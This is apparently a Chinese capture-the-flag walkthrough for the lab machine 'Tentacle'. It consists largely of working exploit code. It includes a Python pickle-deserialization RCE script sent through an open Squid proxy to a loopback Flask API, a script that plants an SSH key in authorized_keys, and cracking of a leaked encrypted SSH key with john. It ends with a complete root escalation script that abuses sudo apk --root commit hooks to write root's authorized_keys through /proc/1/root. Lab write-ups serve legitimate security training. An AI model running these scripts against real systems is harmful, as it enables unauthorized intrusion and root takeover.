

Tentacle

Tentacle 靶机 WP

基本信息

- 目标 IP: 192.168.56.101
 - 开放端口: 22/ssh、80/http、3128/http-proxy
 - Web: Apache httpd 2.4.66
 - 代理: Squid 6.12
 - 系统: Alpine Linux 3.22.2
 - 内核: Linux 6.12.59-0-lts
-

最终利用链概览

完整链路如下:

1. 发现 3128 是可用的 Squid 代理, 可访问 127.0.0.1
 2. 通过代理访问到仅本地监听的 Flask 服务: 127.0.0.1:5000
 3. 在 ~operator/ 目录发现 Tentacle/app.py 源码泄露
 4. 审计源码发现 /api/deploy 存在未鉴权 pickle.loads() 反序列化
 5. 通过 Squid 将恶意请求打到 127.0.0.1:5000/api/deploy, 拿到命令执行
 6. 通过 RCE 写入 operator 的 authorized_keys, 拿到稳定 operator shell
 7. 在 ~licksore/ 发现公开泄露的加密 SSH 私钥 id_rsa
 8. 使用 ssh2john.py + john 爆出私钥口令 justice
 9. 使用私钥登录 licksore
 10. sudo -l 发现 licksore 可 NOPASSWD 执行 /sbin/apk
 11. 利用 apk --root <可控目录> 的 commit_hooks.d 机制, 在伪根目录 hook 中挂 proc
 12. 通过 /proc/1/root 回写宿主机 /root/.ssh/authorized_keys
 13. SSH 登录 root
-

一、信息收集

1. 端口扫描结果

```
22/tcp    open  ssh      OpenSSH 10.0
80/tcp    open  http     Apache httpd 2.4.66
3128/tcp  open  http-proxy Squid http proxy 6.12
```

SHELL

2. 目录扫描结果

对 80 进行目录扫描时，发现了两个很关键的点：

```
/cgi-bin/test-cgi
/cgi-bin/printenv
/~operator/
```

其中 `~/operator/` 尤其关键，说明目标启用了 Apache `mod_userdir`，即：

```
http://host/~operator/ -> /home/operator/public_html/
```

这意味着：

- 目标存在本地用户 `operator`
- 其家目录下的 `public_html` 会被直接映射到 Web 路径
- 很可能存在源码泄露、备份文件、开发目录、敏感配置等信息泄露点

3. 对 3128 的判断

3128 是 Squid，不应把它当成“另一个 Web 站点”去扫目录。

真正应该验证的是：

- 它是否允许作为开放代理使用
- 它是否允许访问本机回环地址 `127.0.0.1`
- 是否能借此打到“只监听在本地”的内部管理服务

二、通过 Squid 访问内部 Flask 服务

1. 代理访问本地服务

使用 Squid 代理访问 `127.0.0.1:5000`：

```
curl -x http://192.168.56.101:3128 http://127.0.0.1:5000/  
curl -x http://192.168.56.101:3128  
http://127.0.0.1:5000/api/status
```

`/api/status` 返回类似：

```
{"cpu": "12%", "main_process": "~operator/Tentacle/app.py", "memory": "450MB/2048MB"}
```

2. 由返回值反推出源码路径

`main_process` 直接暴露了关键信息：

```
~operator/Tentacle/app.py
```

这说明：

- 内部服务主程序属于 `operator`
- 该服务源码很可能位于 `operator` 的 Web 根目录下
- 可以优先去访问：

```
http://192.168.56.101/~operator/Tentacle/  
http://192.168.56.101/~operator/Tentacle/app.py
```

三、源码泄露与漏洞确认

1. 访问 `~operator/Tentacle/`

访问后确认：

- 目录索引开启
- `app.py` 可以直接下载

2. 关键漏洞代码

源码中的核心逻辑如下：

```
@app.route('/api/deploy', methods=['POST'])
def deploy_task():
    auth_header = request.headers.get('X-Internal-Auth')
    task_data = request.form.get('task_data')
    decoded_data = base64.b64decode(task_data)
    obj = pickle.loads(decoded_data)
```

3. 漏洞分析

这里有两个关键点：

点 1: **X-Internal-Auth** 只是“读取”，没有“校验”

也就是说，虽然名字看起来像内部认证头，但实际代码中：

- 只把它读出来了
- 没有进行比对
- 没有 return 403
- 没有任何鉴权分支

所以这是一个未鉴权接口。

点 2: 用户可控的 **task_data** 被直接送入 **pickle.loads()**

执行流程：

```
request.form.get('task_data')
-> base64.b64decode(...)
-> pickle.loads(...)
```

而 Python 的 **pickle** 在反序列化时可以通过 **__reduce__()** 触发任意函数调用，因此这就是一个典型的：

- 未鉴权 Python 反序列化 RCE

4. 利用前提是否成立

外部不能直接访问 **127.0.0.1:5000**，但此题恰好有 **3128** Squid 代理，因此可以这样组合：

```
攻击者 -> 3128(Squid) -> 127.0.0.1:5000/api/deploy -> pickle
RCE
```

这就是本题的第一段核心利用链。

四、EXP 1: 通过 Squid 打内网 Flask, 拿到 operator

1. 时间盲验证命令执行

为了先验证 `pickle` 命令执行是否真实成立, 可先做时间侧信道测试。

2. 最小 RCE PoC

PYTHON

```
#!/usr/bin/env python3
import base64
import os
import pickle
import requests
import sys

PROXY = 'http://192.168.56.101:3128'
TARGET = 'http://127.0.0.1:5000/api/deploy'

class RCE:
    def __reduce__(self):
        cmd = sys.argv[1]
        return (os.system, (cmd,))

if len(sys.argv) != 2:
    print(f'usage: {sys.argv[0]} <cmd>')
    sys.exit(1)

payload = base64.b64encode(pickle.dumps(RCE())).decode()
resp = requests.post(
    TARGET,
    data={'task_data': payload},
    headers={'X-Internal-Auth': 'anything'},
    proxies={'http': PROXY, 'https': PROXY},
    timeout=15,
)
print(resp.status_code)
print(resp.text)
```

示例：时间验证

```
python3 exp_pickle_rce.py 'true'
python3 exp_pickle_rce.py 'sleep 5'
```

SHELL

现象：

- **true** 响应很快
- **sleep 5** 响应显著延迟约 5 秒

说明命令执行成立。

3. 生成本地 SSH 临时密钥

```
ssh-keygen -t ed25519 -N '' -f /tmp/tentacle_id_ed25519
```

SHELL

4. 通过 RCE 写入 **operator** 的 **authorized_keys**

先读取公钥：

```
cat /tmp/tentacle_id_ed25519.pub
```

SHELL

然后将其写入目标机 **operator** 用户 SSH 目录。可以直接使用下面这个脚本：

```
#!/usr/bin/env python3
import base64
import os
import pickle
import requests

PROXY = 'http://192.168.56.101:3128'
TARGET = 'http://127.0.0.1:5000/api/deploy'
PUBKEY = '这里替换成 /tmp/tentacle_id_ed25519.pub 的完整内容'

cmd = (
    "mkdir -p ~/.ssh && chmod 700 ~/.ssh && "
    f"printf '%s\\n' '{PUBKEY}' >> ~/.ssh/authorized_keys && "
    "chmod 600 ~/.ssh/authorized_keys"
)

class RCE:
    def __reduce__(self):
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
resp = requests.post(
    TARGET,
    data={'task_data': payload},
    headers={'X-Internal-Auth': 'anything'},
    proxies={'http': PROXY, 'https': PROXY},
    timeout=15,
)
print(resp.status_code)
print(resp.text)
```

5. SSH 登录 operator

```
ssh -o StrictHostKeyChecking=no -o
UserKnownHostsFile=/dev/null -i /tmp/tentacle_id_ed25519
operator@192.168.56.101
```

验证:

```
id  
whoami  
pwd
```

输出:

```
uid=1001(operator) gid=1001(operator) groups=1001(operator)  
operator  
/home/operator
```

6. 用户 flag

```
flag{user-43764e48361c256a0a93abf737fc5856}
```

五、operator 阶段的本地枚举

1. 发现另一个用户 **licksore**

在系统用户、Web 目录、家目录等位置继续枚举时，发现另一个本地用户：

- **licksore**

2. **operator** 直接提权未果

一些已经验证但未形成提权链的方向：

- **sudo -l** 需要密码，未命中明显弱口令
- 常规 SUID 未形成直接利用
- **suexec** 存在，但未发现可触发的 Apache/suexec 场景
- Tentacle API 实际以 **operator** 身份运行，不是 root 服务
- log / cron / periodic 未形成明显 root 消费链
- 内核方向未作为主线

结论：

- **operator -> root** 没有立刻可用的单跳路径
 - 需要横向到 **licksore**
-

六、发现 **licksore** 私钥泄露

1. 访问 **~licksore/**

目标开启了 **mod_userdir**，因此继续探测：

```
curl http://192.168.56.101/~licksore/
```

SHELL

可正常访问。

2. 敏感目录继续深入

进一步访问：

```
curl http://192.168.56.101/~licksore/.ssh/  
curl http://192.168.56.101/~licksore/.ssh/id_rsa
```

SHELL

最终确认：

- **licksore** 将 SSH 私钥放到了公开可访问的 Web 目录里
- 泄露文件为：**/home/licksore/public_html/.ssh/id_rsa**

3. 私钥属性判断

该私钥为：

```
-----BEGIN OPENSSH PRIVATE KEY-----
```

并可识别到：

- **aes256-ctr**
- **bcrypt**

说明：

- 这是一把加密的 **OpenSSH** 私钥
 - 需要先得到私钥口令（passphrase）才能使用
-

七、爆破 **licksore** 私钥口令

1. 用 **ssh2john.py** 转换

```
cd /Users/xufengzhi/Tools/security/05_密码爆破与字典/dic-brute/john-bleeding-jumbo/run
python3 ssh2john.py /tmp/licksore_id_rsa > /tmp/licksore.john
```

SHELL

2. 根据题目限制，使用 **rockyou.txt** 前 5000 行

```
head -n 5000 /tmp/rockyou.txt > /tmp/rockyou5000.txt
./john --wordlist=/tmp/rockyou5000.txt /tmp/licksore.john
./john --show /tmp/licksore.john
```

SHELL

最终结果：

```
/tmp/licksore_id_rsa:justice
```

3. SSH登录

方式 1：直接使用原始加密私钥

```
ssh -i /tmp/licksore_id_rsa licksore@192.168.56.101
```

SHELL

当本地提示：

```
Enter passphrase for key '/tmp/licksore_id_rsa':
```

此时输入：

```
justice
```

方式 2：先移除私钥口令，再登录

```
cp /tmp/licksore_id_rsa /tmp/licksore_id_rsa_nopass
ssh-keygen -p -P justice -N '' -f /tmp/licksore_id_rsa_nopass
ssh -i /tmp/licksore_id_rsa_nopass licksore@192.168.56.101
```

SHELL

八、登录 **licksore** 并发现 **sudo** 权限

成功登录：

```
ssh -o StrictHostKeyChecking=no -o  
UserKnownHostsFile=/dev/null -i /tmp/licksore_id_rsa_nopass  
licksore@192.168.56.101
```

SHELL

验证：

```
id  
whoami  
pwd
```

SHELL

输出：

```
uid=1000(licksore) gid=1000(licksore) groups=1000(licksore)
```

SHELL

1. **sudo -l**

关键输出：

```
User licksore may run the following commands on Tentacle:  
(ALL) NOPASSWD: /sbin/apk
```

SHELL

这就是最终提权点。

九、**apk** 提权原理分析

1. 为什么 **sudo /sbin/apk** 危险

apk 是 Alpine 的包管理器。常规思路会想到：

- 安装恶意包
- 用包脚本提权

但本题更稳定的利用点不在“恶意 **.apk** 包脚本”，而在：

```
apk add --root <某个目录>
```

SHELL

2. 关键点： `--root` 会让 `apk` 操作一个“伪根目录”

当 `licksore` 执行：

```
sudo /sbin/apk add --root /tmp/somerooot ...
```

SHELL

`apk` 会把 `/tmp/somerooot` 当作一个系统根目录来管理。

在这个伪根目录里，`apk` 会读取并执行：

```
/tmp/somerooot/etc/apk/commit_hooks.d/*
```

也就是说：

- 虽然只能 `sudo apk`
- 但可以让 `apk` 去执行我们自己写在伪根目录里的 `hook` 脚本

3. hook 执行环境的进一步利用

实际验证发现：

- `hook` 运行时环境接近 `chroot` 到 `--root`
- 只要在伪根目录里补齐一个最小运行时 (`busybox + musl loader`)
- 就可以在 `hook` 内执行 `/bin/busybox mount -t proc proc /proc`

一旦 `proc` 挂起来，就可以访问：

```
/proc/1/root
```

而 `/proc/1/root` 指向的是：

- 宿主机真正的根目录
- 即使当前进程在 `chroot`/伪根环境里，也可以借此“逃回”宿主文件系统

于是就能改写宿主机的：

```
/proc/1/root/root/.ssh/authorized_keys
```

最终得到 root SSH 登录权限。

十、构造一个最小可安装的本地包

为了触发 `apk add` 提交动作，需要一个合法的本地 `.apk` 文件。这里构造一个最小可用包即可。

1. 构造最小 `tenttest.apk`

这段脚本在目标机 `licksore` 用户下执行：

```
#!/bin/sh
set -eu

work=/tmp/apkexp1
rm -rf "$work"
mkdir -p "$work/control" "$work/data"
cd "$work"

cat > control/.PKGINFO <<'EOF'
pkgname = tenttest
pkgver = 1.0-r0
pkgdesc = test
url = https://example.invalid/
builddate = 1710000000
packager = test <test@example.invalid>
size = 0
arch = x86_64
origin = tenttest
maintainer = test <test@example.invalid>
license = MIT
EOF

cat > control/.post-install <<'EOF'
#!/bin/sh
exit 0
EOF
chmod +x control/.post-install

( cd control && tar -czf ../control.tar.gz .PKGINFO .post-
install )
( cd data && tar -czf ../data.tar.gz . )

datahash=$(sha256sum data.tar.gz | awk '{print $1}')
printf 'datahash = %s\n' "$datahash" >> control/.PKGINFO
( cd control && tar -czf ../control.tar.gz .PKGINFO .post-
install )

cat control.tar.gz data.tar.gz > /tmp/tenttest.apk
ls -l /tmp/tenttest.apk
```

这个包本身不承担提权逻辑，它的作用只是：

- 提供一个合法可安装的本地包
- 让 **apk add** 正常进入 commit 流程
- 从而触发我们放在 **commit_hooks.d** 里的恶意 hook

十一、EXP 2: **apk --root + commit hook + /proc/1/root** 提权到 root

1. 无害验证：先验证 **/proc/1/root** 可写宿主机

在真正写 root key 之前，我先做了一个 harmless proof:

hook 脚本中执行：

```
/bin/busybox mkdir -p /proc /tmp  
/bin/busybox mount -t proc proc /proc  
printf '%s\n' escaped > /proc/1/root/tmp/chroot_escape_proof
```

执行后，宿主机 **/tmp/chroot_escape_proof** 成功出现，且属主为 **root**。

这说明：

- **apk** hook 代码执行成功
- **proc** 已成功挂载
- **/proc/1/root** 确实可用于回写宿主机文件系统

2. 最终 root 提权脚本

下面是最终可复现的提权脚本，需在 **licksore** 用户下执行：

```
#!/bin/sh
set -eu

root=/tmp/hookroot_pwn_$$
mkdir -p "$root/etc/apk/commit_hooks.d" "$root/bin"
"$root/lib"

# 补一个最小 busybox 运行时, 供 hook 在伪根目录中使用
cp /bin/busybox "$root/bin/busybox"
ln -sf /bin/busybox "$root/bin/sh"
cp /lib/ld-musl-x86_64.so.1 "$root/lib/ld-musl-x86_64.so.1"
ln -sf ld-musl-x86_64.so.1 "$root/lib/libc.musl-x86_64.so.1"

# 这里替换成你本地可控公钥
PUBKEY='这里替换成 /tmp/tentacle_id_ed25519.pub 的完整内容'

cat > "$root/etc/apk/commit_hooks.d/zz-root" <<EOF
#!/bin/sh
/bin/busybox mkdir -p /proc
/bin/busybox mount -t proc proc /proc
/bin/busybox mkdir -p /proc/1/root/root/.ssh
printf '%s\n' "$PUBKEY" >
/proc/1/root/root/.ssh/authorized_keys
/bin/busybox chown -R 0:0 /proc/1/root/root/.ssh
/bin/busybox chmod 700 /proc/1/root/root/.ssh
/bin/busybox chmod 600 /proc/1/root/root/.ssh/authorized_keys
EOF
chmod +x "$root/etc/apk/commit_hooks.d/zz-root"

# 触发 apk commit hook
sudo /sbin/apk add \
  --initdb \
  --root "$root" \
  --force-broken-world \
  --force-non-repository \
  --no-network \
  --allow-untrusted \
  /tmp/tenttest.apk
```

3. root 登录

脚本执行完成后, 直接使用本地私钥登录 root:


```
ssh -o StrictHostKeyChecking=no -o  
UserKnownHostsFile=/dev/null -i /tmp/tentacle_id_ed25519  
root@192.168.56.101
```

十二、最终结果

1. root shell

```
id  
whoami  
hostname  
pwd
```

输出：

```
uid=0(root) gid=0(root)  
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),  
10(wheel),11(floppy),20(dialout),26(tape),27(video)  
root  
Tentacle  
/root
```

2. root flag

```
flag{root-8abdc8eb17a3772df16ba7168f33cc20}
```

十三、题目核心利用点总结

利用点 1: Squid 开放代理

不是把 3128 当成“第二个 Web 服务”去扫目录，而是把它当成：

- 访问本地服务的跳板
- 打内部管理接口的入口

利用点 2: mod_userdir 引发源码泄露

/~operator/、/~licksore/ 都属于非常典型的靶点。

这里既泄露了：

- **operator** 的 Flask 项目源码
- 也泄露了 **licksore** 的 SSH 私钥

利用点 3：未鉴权 pickle 反序列化

真正 RCE 的核心是：

```
pickle.loads(base64.b64decode(task_data))
```

PYTHON

而认证头 **X-Internal-Auth** 只是障眼法，因为代码根本没有校验它。

利用点 4： **sudo apk** 的非典型提权方式

本题不是传统“sudo 某个脚本 → 直接 getshell”。

真正的思路是：

- **apk --root** 让我们控制一个伪根目录
- **commit_hooks.d** 让 **apk** 帮我们执行伪根目录里的 hook
- hook 中补 busybox + 挂 proc
- 再通过 **/proc/1/root** 操作宿主根目录

十四、最终结论

这台靶机的完整解法是：

```
Squid 代理 -> 访问内网 Flask -> 源码泄露 -> pickle 反序列化 RCE  
-> 写 operator SSH key -> operator shell  
-> 发现 licksore 私钥泄露 -> 爆出 passphrase justice  
-> SSH 登录 licksore  
-> sudo apk --root commit hook -> /proc/1/root -> 写 root  
authorized_keys  
-> root shell
```